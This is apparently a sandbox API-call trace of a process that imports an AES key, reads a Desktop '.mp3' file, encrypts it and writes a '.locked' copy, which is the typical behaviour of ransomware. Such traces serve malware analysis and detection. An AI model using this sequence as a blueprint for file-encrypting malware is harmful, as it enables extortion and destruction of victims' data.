(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.758] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0128.759] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.759] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.759] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.759] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.759] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.759] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.759] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.759] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.760] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.760] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.760] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.760] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.760] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.760] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.760] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.760] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.760] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.760] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.760] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.761] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.761] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.761] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.761] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.761] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.761] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.761] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0128.762] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x4396b48) returned 1 [0128.762] CryptImportKey (in: hProv=0x4396b48, pbData=0x69a216c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84fb8) returned 1 [0128.762] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.762] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="⁤ښ") returned 0x0 [0128.762] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.762] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.762] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.763] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0128.764] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0128.764] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.764] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.764] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.764] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.765] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.765] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.765] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.765] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.765] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.765] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.765] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0128.766] GetFileType (hFile=0x874) returned 0x1 [0128.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.766] GetFileType (hFile=0x874) returned 0x1 [0128.766] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.766] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.766] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.766] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.767] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.767] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", lpFilePart=0x0) returned 0x3a [0128.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.767] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.767] GetFileType (hFile=0x868) returned 0x1 [0128.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.767] GetFileType (hFile=0x868) returned 0x1 [0128.767] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.768] CryptGenRandom (in: hProv=0x4396b48, dwLen=0x10, pbBuffer=0x69b7d44 | out: pbBuffer=0x69b7d44) returned 1 [0128.769] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.769] CryptDuplicateKey (in: hKey=0x8e84fb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e849f8) returned 1 [0128.769] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.769] CryptSetKeyParam (hKey=0x8e849f8, dwParam=0x4, pbData=0x69b9000*=0x1, dwFlags=0x0) returned 1 [0128.769] CryptSetKeyParam (hKey=0x8e849f8, dwParam=0x1, pbData=0x69b8fcc, dwFlags=0x0) returned 1 [0128.770] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xf990\x437\x242") returned 0x0 [0128.770] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.770] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.770] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.771] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.771] ReadFile (in: hFile=0x874, lpBuffer=0x69bc55c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x69bc55c*, lpNumberOfBytesRead=0x99ae6cc*=0xfd37, lpOverlapped=0x0) returned 1 [0128.771] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d0568*, pdwDataLen=0x99ae6c0*=0xfd30, dwBufLen=0xfd30 | out: pbData=0x69d0568*, pdwDataLen=0x99ae6c0*=0xfd30) returned 1 [0128.772] WriteFile (in: hFile=0x868, lpBuffer=0x69b7e04*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x69b7e04*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.773] WriteFile (in: hFile=0x868, lpBuffer=0x69d1554*, nNumberOfBytesToWrite=0xed44, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x69d1554*, lpNumberOfBytesWritten=0x99ae6a4*=0xed44, lpOverlapped=0x0) returned 1 [0128.773] ReadFile (in: hFile=0x874, lpBuffer=0x69bc55c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x69bc55c*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.774] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69e02bc*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x69e02bc*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.774] CryptEncrypt (in: hKey=0x8e849f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69e02f0*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x69e02f0*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.774] WriteFile (in: hFile=0x868, lpBuffer=0x69b7e04*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x69b7e04*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0128.774] CloseHandle (hObject=0x868) returned 1 [0128.776] CloseHandle (hObject=0x874) returned 1 [0128.777] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.777] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.777] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.777] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.777] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.778] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0128.779] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.779] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.779] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.779] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.779] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.779] 